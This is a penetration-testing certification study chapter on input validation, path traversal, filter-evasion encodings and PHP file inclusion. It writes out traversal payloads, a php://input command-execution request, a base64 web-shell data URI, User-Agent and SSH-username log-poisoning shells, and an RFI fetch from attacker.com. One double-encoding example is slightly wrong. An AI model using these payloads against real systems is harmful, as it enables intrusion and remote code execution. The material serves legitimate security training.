11.1 Input Validation Vulnerabilities & Parameter Manipulation

CREST Practitioner Security Analyst CPSA

Track your progress as you read

Finished sections get a check mark.

1 Chapter 1: Soft Skills, Legal Framework & Assessment Management

1.1 The Penetration Testing Engagement Lifecycle & Scoping 1.2 Legal Framework: Computer Misuse Act & Compliance 1.3 Understanding, Explaining & Managing Technical Risk 1.4 Record Keeping, Interim Escalation & Reporting Standards

2 Chapter 2: Core Networking: IP Protocols & Network Architectures

2.1 IPv4 and IPv6 Addressing, Subnetting & Header Architecture 2.2 TCP and UDP Transport Protocols & Handshake Mechanics 2.3 ICMP Protocol, Network Diagnostics & Error Messages 2.4 Network Topologies, Switched Media & VLAN Segmentation 2.5 Network Media, Ethernet Standards & Physical Topologies

3 Chapter 3: Cryptography & Secure Communication Protocols

3.1 Symmetric & Asymmetric Cryptographic Algorithms 3.2 Cryptographic Hash Functions, MACs & Digital Signatures 3.3 Secure Protocols: SSL/TLS, IPsec & SSH

4 Chapter 4: Background Information Gathering & OSINT Reconnaissance

4.1 WHOIS Records, Domain Registrars & Autonomous Systems 4.2 DNS Infrastructure, Record Types & Zone Transfers 4.3 Search Engine Reconnaissance, Google Dorking & Information Leakage 4.4 Newsgroups, Mailing Lists & Public Archive Reconnaissance

5 Chapter 5: Networking Equipment & Infrastructure Protocols

5.1 Router & Switch Management: SNMP, SSH & Authentication 5.2 Layer 2 Protocols: ARP, CDP, STP, VTP & Redundancy 5.3 Core Network Services: DHCP, NTP & TFTP 5.4 Wireless Security (802.11) & VoIP Assessment 5.5 Out-of-Band Management, Console Access & Cisco Reverse Telnet

6 Chapter 6: Network Mapping, Nmap Techniques & Target Identification

6.1 Host Discovery Techniques & Ping Sweep Methodologies 6.2 Port Scanning Mechanics: TCP, UDP & Stealth Scans 6.3 OS Fingerprinting, Service Detection & Timing Templates 6.4 Firewall and IDS/IPS Evasion Techniques 6.5 Passive OS & Service Fingerprinting 6.6 Network Access Control Analysis & Firewall Rule Base Review

7 Chapter 7: Vulnerability Identification & Tool Output Analysis

7.1 Vulnerability Scanning Principles & Methodology 7.2 CVE Referencing, CVSS Scoring & Risk Prioritisation 7.3 Banner Grabbing, Service Verification & Manual Triage 7.4 Host Audit Techniques: Processes, Sockets, Patch Levels & Interesting Files

8 Chapter 8: Microsoft Windows Security Assessment & Active Directory

8.1 Active Directory Architecture & Domain Reconnaissance 8.2 Windows User & Group Enumeration via SMB & RPC 8.3 Windows Authentication: NTLM, Kerberos & Password Security 8.4 Windows Patch Management, Local Security & Common Services 8.5 Windows File System, Share & Registry Permissions 8.6 Desktop Lockdown, Citrix Breakout & Common Windows Applications

9 Chapter 9: Unix & Linux Security Assessment & Legacy Services

9.1 Linux/Unix Security Architecture, Permissions & Filesystem 9.2 Unix User Enumeration & Service Discovery 9.3 Network File System (NFS) & RPC Services Assessment 9.4 Legacy Unix Services: R-Services, X11, FTP & Modern SSH 9.5 Unix Remote Information Services: rusers, rwho, finger & systat 9.6 Unix Vulnerability Exploitation & Post-Exploitation Workflow

10 Chapter 10: Web Architectures, Technologies & Testing Methodologies

10.1 Web Server Architecture & the HTTP/HTTPS Protocol 10.2 Web Application Components, Frameworks & State Management 10.3 Web Reconnaissance, Content Discovery & Threat Modelling 10.4 Testing Authentication, Authorization & Session Management 10.5 Web Service Protocols: SOAP, REST & XML Messaging 10.6 Web APIs, Server Extensions & Client-Side Sub-Components

11 Chapter 11: Web Testing Techniques & OWASP Top Vulnerabilities

11.1 Input Validation Vulnerabilities & Parameter Manipulation 11.2 Cross-Site Scripting (XSS): Types, Impact & Defenses 11.3 Cross-Site Request Forgery (CSRF) & Client-Side Attacks 11.4 Command Injection, File Upload Vulnerabilities & API Flaws 11.5 Information Disclosure: Error Messages & Mark-up Leakage 11.6 Injection Beyond SQL: LDAP, XPath, Code & Template Injection 11.7 Source Code Review & Encoded/Cryptographic Value Analysis

12 Chapter 12: Database Security Assessment & SQL Injection

12.1 Database Architectures, Default Ports & Authentication 12.2 SQL Injection (SQLi) Foundations & In-Band Techniques 12.3 Blind SQL Injection & Database Enumeration 12.4 Database Attack Vectors, Stored Procedures & Hardening

11.1 Input Validation Vulnerabilities & Parameter Manipulation

Key Takeaways Explain This Topic AI

Intercepting web proxies such as Burp Suite and OWASP ZAP sit between the browser and server, enabling analysts to inspect, tamper with, and replay HTTP requests before server-side processing.

Client-side validation implemented in HTML5 attributes or browser JavaScript provides zero security enforcement, as all parameters, cookies, and HTTP headers can be arbitrarily modified in transit.

Path traversal vulnerabilities exploit unsanitized filesystem inputs using sequences like ../ or ..\ to escape the web root, often requiring evasion techniques such as double URL encoding (%252e%252e%252f) or nested patterns (....//).

Local File Inclusion (LFI) can escalate to Remote Code Execution (RCE) via web server or authentication log poisoning, while Remote File Inclusion (RFI) requires dangerous runtime configurations such as PHP's allow_url_include = On.

Last updated: September 2026

11.1 Input Validation Vulnerabilities & Parameter Manipulation

Web applications represent the primary external attack surface for modern enterprise networks. Unlike traditional compiled client-server applications with proprietary network protocols, web applications rely on standard, stateless HTTP/HTTPS transactions. Under the core security model of web applications, client browsers interact with backend servers by submitting data across uniform parameters. When backend application servers place implicit trust in data submitted by clients without rigorous, context-aware validation, catastrophic security flaws arise. For the CREST Practitioner Security Analyst (CPSA), mastery of web testing techniques begins with understanding how traffic is intercepted and manipulated, how parameter tampering bypasses client-side controls, and how filesystem input flaws lead to arbitrary file access and code execution.

Intercepting Proxies and Practical Web Testing

At the foundation of professional web application penetration testing is the intercepting web proxy . Rather than communicating directly with the target web application, the penetration tester configures their browser to route all outbound HTTP and HTTPS traffic through an intermediary proxy application. +------------------+ HTTP/HTTPS +--------------------+ HTTP/HTTPS +----------------------+

| (Burp / Firefox) | (Local Loopback) | (Burp Suite / ZAP) | (Internet/LAN) | (Nginx/Apache/Cloud) |
+------------------+ +--------------------+ +----------------------+
|
[Analyst Inspection & Tampering]
Intercept Request / Response
Modify Headers, Body, Cookies
Automated Parameter Fuzzing

The two primary industry-standard intercepting proxies in web security assessments are PortSwigger Burp Suite and the OWASP Zed Attack Proxy (ZAP) .

Core Intercepting Proxy Architecture

Under standard operational conditions, an intercepting proxy binds to a local loopback port (such as 127.0.0.1:8080 ). The tester's browser is configured to use this address as its HTTP/HTTPS proxy.

Bidirectional Request and Response Inspection: When the user initiates an action in the browser (e.g., clicking a button or submitting a form), the proxy halts the outgoing HTTP request. The tester can view the exact plaintext HTTP headers, cookies, and message body. The request can be forwarded unaltered, modified on the fly, or dropped entirely. Similarly, server responses can be intercepted and modified before being rendered by the browser.

Manual and Automated Tool Suite:

Proxy / Intercept: Captures real-time transactions for live manual modification and maintains a full HTTP history log.

Repeater: Allows an analyst to take a single captured HTTP request, modify headers or parameters arbitrarily, and re-send it repeatedly while observing the direct response. This is essential for manually verifying vulnerabilities such as SQL injection, cross-site scripting, and business logic flaws.

Intruder (Burp) / Fuzzer (ZAP): Facilitates automated parameter fuzzing, dictionary attacks, and credential stuffing. Burp Intruder provides distinct attack types:

Sniper: Single payload set tested sequentially across each defined insertion point.

Battering Ram: Single payload set placed simultaneously into all insertion points.

Pitchfork: Multiple payload sets iterated in lockstep across multiple insertion points.

Cluster Bomb: Multiple payload sets iterated through all permutations across multiple insertion points.

Decoder: Provides instant, bidirectional conversion across encodings including URL, HTML entities, Base64, Hexadecimal, ASCII, and cryptographic hashes.

Comparer: Provides visual side-by-side or word-by-word diff analysis between two requests or responses, critical for detecting subtle behavioral shifts in blind injection testing.

SSL/TLS Interception & Certificate Trust

Because modern web applications operate over encrypted HTTPS, the proxy must perform a Man-in-the-Middle (MitM) termination on the TLS tunnel.

When a browser connects to an HTTPS destination through the proxy, the proxy intercepts the TLS handshake, dynamically generates a forged digital certificate for the target hostname, and presents it to the browser. Simultaneously, the proxy establishes a separate, legitimate TLS session with the target server.

To prevent the browser from terminating the connection with severe TLS security warnings (untrusted certificate authority), the penetration tester must export the proxy's custom Root Certificate Authority (CA) (e.g., cacert.der from Burp Suite) and import it into the browser or operating system trust store as a trusted root authority. For mobile testing or high-security client applications, additional bypass techniques (such as SSL pinning bypass via Frida) may be required if certificate pinning is enforced.

Upstream Proxy Chaining

In enterprise corporate environments, internet access may require passing through an authenticating corporate gateway. Professional proxies support upstream proxy chaining , where Burp Suite forwards outgoing traffic to the corporate proxy (e.g., proxy.corp.local:8080 ) before reaching the external target, or to SOCKS proxies (such as dynamic SSH tunnels or TOR) for source IP rotation.

Parameter Manipulation & Validation Flaws

A fundamental tenet of secure application design is that all client input is inherently untrusted . However, developers frequently implement input validation solely within the client-side browser environment, mistakenly assuming that the server will only ever receive sanitized, well-formed input. +---------------------------------------------------------------------------------------------------+

| HTTP PARAMETER MANIPULATION SURFACE |
+---------------------------------------------------------------------------------------------------+
| Transmission Vector | Encoding Format | Typical Security Exposure |
+-----------------------+----------------------------+----------------------------------------------+
| GET Query String | application/x-www-form... | State manipulation, IDOR, path traversal |
| POST Message Body | form-urlencoded, JSON, XML | Business logic bypass, privilege escalation |
| Cookie Values | Key-Value Plaintext/Base64 | Session tampering, privilege impersonation |
| HTTP Request Headers | Plaintext Name-Value pairs | Log injection, SQLi, Host header poisoning |
+---------------------------------------------------------------------------------------------------+
Attack Vectors Across HTTP Components

Query String (GET Parameters): Appended to the URL path after the ? delimiter (e.g., https://app.local/profile?user_id=1042&role=viewer ). Attackers modify numeric identifiers to test for Insecure Direct Object References (IDOR) or alter control flags.

POST Message Body: Data submitted in the payload of POST, PUT, or PATCH requests. Depending on the Content-Type header, this may be formatted as:

application/x-www-form-urlencoded : Key-value pairs separated by & .

multipart/form-data : Used for file uploads and complex forms with distinct boundary markers.

application/json : Structured JSON objects common in modern Single Page Applications (SPAs) and REST APIs.

application/xml : Structured XML documents, frequently vulnerable to parsing flaws.

HTTP Cookie Headers: Cookies maintain session state across HTTP transactions. Flawed implementations store role definitions, shopping cart totals, or discount flags directly inside cookies (e.g., Cookie: session=abc; is_admin=0; discount=0.00 ). Modifying is_admin=1 directly in the proxy tests for lack of server-side state integrity.

HTTP Request Headers: Headers such as User-Agent , Referer , X-Forwarded-For , Client-IP , and Host are controlled entirely by the client. If an application logs these headers directly to a database, reflects them in templates, or relies on X-Forwarded-For for IP-based administrative whitelisting, manipulating these headers results in access control bypass or injection.

Client-Side Validation Bypass Mechanics

Client-side validation enhances user experience by providing immediate feedback on malformed input (such as invalid email syntax or missing required fields) without incurring the latency of a server round-trip. However, client-side validation provides zero security value .

Penetration testers routinely bypass client-side controls using three primary techniques:

Disabling HTML5 Form Attributes: Browsers enforce constraints via attributes such as required , pattern="[0-9]{5}" , maxlength="10" , min="1" , or max="100" . A tester can right-click the form element, open Browser Developer Tools (Inspect Element), and delete these attributes from the DOM before clicking Submit.

Modifying Hidden and Disabled Inputs: Forms frequently contain <input type="hidden" name="price" value="199.99"> or <input type="text" name="role" value="user" disabled> . In the DOM inspector, changing value="0.01" or removing the disabled attribute causes the browser to transmit the modified values.

Intercepting Post-Validation Submissions: The simplest and most universal bypass involves allowing the browser's client-side JavaScript to validate the input. Once the valid submission leaves the browser, the intercepting proxy catches the HTTP request, where the tester replaces legitimate data with malicious payloads before the request reaches the server.

Path Traversal (Directory Traversal)

Path traversal (also known as directory traversal or dot-dot-slash vulnerability) occurs when an application uses user-controllable input to construct a filesystem path without adequately sanitizing directory navigation sequences. This allows an attacker to escape the intended document root directory and access arbitrary files on the underlying operating system. Target Request: GET /view.php?file=../../../../etc/passwd HTTP/1.1

Filesystem Resolution:

/var/www/html/public/ [Base Web Root]
../ -> /var/www/html/
../ -> /var/www/
../ -> /var/
../ -> / [Filesystem Root]
etc/passwd -> /etc/passwd [Target Sensitive System File]
Core Mechanics & Target Files

Applications often display user files or documents dynamically using code structures such as: $filename = $_GET['file'];

include("/var/www/html/documents/" . $filename);

If $filename is not restricted, an attacker injects relative directory traversal sequences ( ../ on Unix/Linux systems, or ..\ on Windows systems) to traverse up the directory hierarchy until reaching the filesystem root ( / or C:\ ).

Operating System Target File Path Diagnostic Information Disclosed
Linux / Unix /etc/passwd System user accounts, UIDs, default shells, home directories
Linux / Unix /etc/shadow Cryptographic password hashes (if application runs as root)
Linux / Unix /etc/hosts Internal network IP mappings, hostnames, domain resolution
Linux / Unix /proc/self/environ Environment variables, database credentials, process secrets
Linux / Unix /proc/version Linux kernel version, OS compilation details
Windows C:\Windows\win.ini Legacy system configuration (standard proof-of-concept file)
Windows C:\Windows\System32\drivers\etc\hosts Windows domain names, loopback, internal static DNS mappings
Windows C:\inetpub\wwwroot\web.config IIS configuration, connection strings, database credentials

In addition to relative paths, applications that pass input directly into filesystem functions without prepending a base directory can be exploited using absolute file paths directly (e.g., ?file=/etc/passwd or ?file=C:\Windows\win.ini ).

Filter Evasion & Obfuscation Techniques

Developers frequently attempt to remediate path traversal using naive string filtering or blacklists rather than canonicalization and allowlisting. Attackers employ multiple encoding and syntax evasions to bypass these filters:

Standard URL Encoding: Firewalls or web applications that inspect incoming parameters for literal ../ sequences can be bypassed by percent-encoding the dots and slashes:

. = %2e
/ = %2f
\ = %5c
Payload: %2e%2e%2f%2e%2e%2fetc%2fpasswd

Double URL Encoding: If a web server or reverse proxy decodes an HTTP parameter once and then passes it to an application backend that performs a second decoding step, double URL encoding succeeds:

% = %25
. -> %2e -> %252e
/ -> %2f -> %252e%252e%252f
Payload: %252e%252e%252f%252e%252e%252fetc%252fpasswd

16-Bit Unicode & Overlong UTF-8 Encoding: Certain web servers (historically Microsoft IIS) incorrectly decoded non-standard overlong Unicode representations of slashes and dots:

%u002e%u002e%u002f
%c0%af (overlong representation of / )
%c1%9c (overlong representation of \ )

Nested Traversal Sequences (Non-Recursive Stripping): If an application sanitizes input by executing a single, non-recursive string replacement removing ../ (e.g., string.replace("../", "") ):

When ....// is processed, the inner ../ is removed, leaving the outer .. and / to collapse back into ../ .

Payload: ....//....//....//etc/passwd or ....\/....\/....\/

Null Byte Injection ( %00 ): In legacy environments (specifically PHP versions prior to 5.3.4, and older C-based web servers), strings in the underlying runtime are represented as null-terminated byte arrays. If an application appends a fixed file extension (e.g., include($_GET['file'] . ".php"); ), injecting a URL-encoded null byte truncates the string in the operating system filesystem call:

Payload: ?file=../../../../etc/passwd%00

The filesystem interprets the filename as /etc/passwd , completely ignoring the appended .php extension.

File Inclusion Vulnerabilities (LFI & RFI)

File inclusion vulnerabilities occur primarily in dynamic web platforms such as PHP where the runtime allows developers to include external code files during script execution via statements like include , require , include_once , or require_once . Unlike simple directory traversal (which merely reads file contents), file inclusion causes the web server runtime to parse and execute the included file as programming code if valid script tags are present.

1. Local File Inclusion (LFI)

Local File Inclusion occurs when the target file to be included is already present on the local server filesystem. If the included file contains source code (such as PHP), the server executes it; if it contains plaintext or configuration data, the server renders the content in the response.

Targeting Application Configurations: LFI is frequently used to leak sensitive application source code and database connection strings, such as wp-config.php (WordPress), configuration.php (Joomla), .env (Laravel), or web.config (ASP.NET).

PHP Stream Wrappers: Attackers utilize built-in PHP I/O wrappers to exfiltrate source code or execute commands:

Base64 Source Filter: If a target file like index.php is included, the server attempts to execute it, displaying only rendered HTML. By using the php://filter wrapper, an attacker extracts the base64-encoded raw PHP source without execution: GET /index.php?page=php://filter/convert.base64-encode/resource=index.php HTTP/1.1

PHP Input Wrapper: If allow_url_include = On , an attacker can pass raw PHP code in the POST body via php://input : POST /index.php?page=php://input HTTP/1.1

Host: target.local

<?php system('whoami'); ?>

Data Wrapper: Inline code execution using RFC 2397 data URIs: ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXTspOyA/Pg==&cmd=id .

Escalation from LFI to Remote Code Execution via Log Poisoning

When an attacker can read local files via LFI but cannot directly upload a web shell, they can achieve Remote Code Execution (RCE) by "poisoning" local server log files that they subsequently include. Step 1: Attacker sends HTTP request with PHP payload in User-Agent header

GET / HTTP/1.1
User-Agent: <?php system($_GET['c']); ?>
|
v
Step 2: Web Server writes raw User-Agent into access log

/var/log/apache2/access.log:

192.168.1.10 - - [14/Sep/2026] "GET / HTTP/1.1" 200 4521 "-" "<?php system($_GET['c']); ?>"
|
v
Step 3: Attacker triggers LFI against the poisoned log file
GET /index.php?page=../../../../var/log/apache2/access.log&c=whoami HTTP/1.1
|
v
Step 4: PHP parser executes injected script tag -> Returns command output in HTTP response

Apache / Nginx Access Log Poisoning: The attacker issues a request to the web server where a header (such as User-Agent or the request URI itself) contains executable code: <?php system($_GET['c']); ?> . The web server logs this header verbatim into /var/log/apache2/access.log (Debian/Ubuntu) or /var/log/httpd/access_log (RHEL/CentOS). The attacker then leverages the LFI parameter to include the access log. The PHP interpreter parses the log file, encounters the <?php ... ?> block, and executes the payload.

SSH Authentication Log Poisoning: If the web server user ( www-data ) has read permissions to system authentication logs ( /var/log/auth.log or /var/log/secure ), an attacker can connect via SSH using a malicious username: ssh '<?php system($_GET["c"]); ?>'@target.local The SSH daemon logs the failed login attempt containing the username payload into /var/log/auth.log . Including /var/log/auth.log via LFI executes the payload.

2. Remote File Inclusion (RFI)

Remote File Inclusion occurs when the dynamic inclusion directive allows remote network resources to be specified. This allows an attacker to host a malicious script on their own external web server and force the victim server to retrieve and execute it.

Configuration Prerequisites (PHP): RFI requires both allow_url_fopen = On and allow_url_include = On in php.ini . While allow_url_fopen is enabled by default in modern PHP, allow_url_include has defaulted to Off since PHP 5.2.0 due to severe security risks.

Exploitation Mechanics: GET /index.php?page=http://attacker.com/shell.txt HTTP/1.1 The attacker hosts a file named shell.txt containing standard PHP code ( <?php phpinfo(); ?> ). By using .txt rather than .php on the attacker's server, the attacker's host delivers the file as raw plaintext rather than executing it locally. The victim server fetches the plaintext code over HTTP, parses the PHP tags, and executes the payload within its own application context.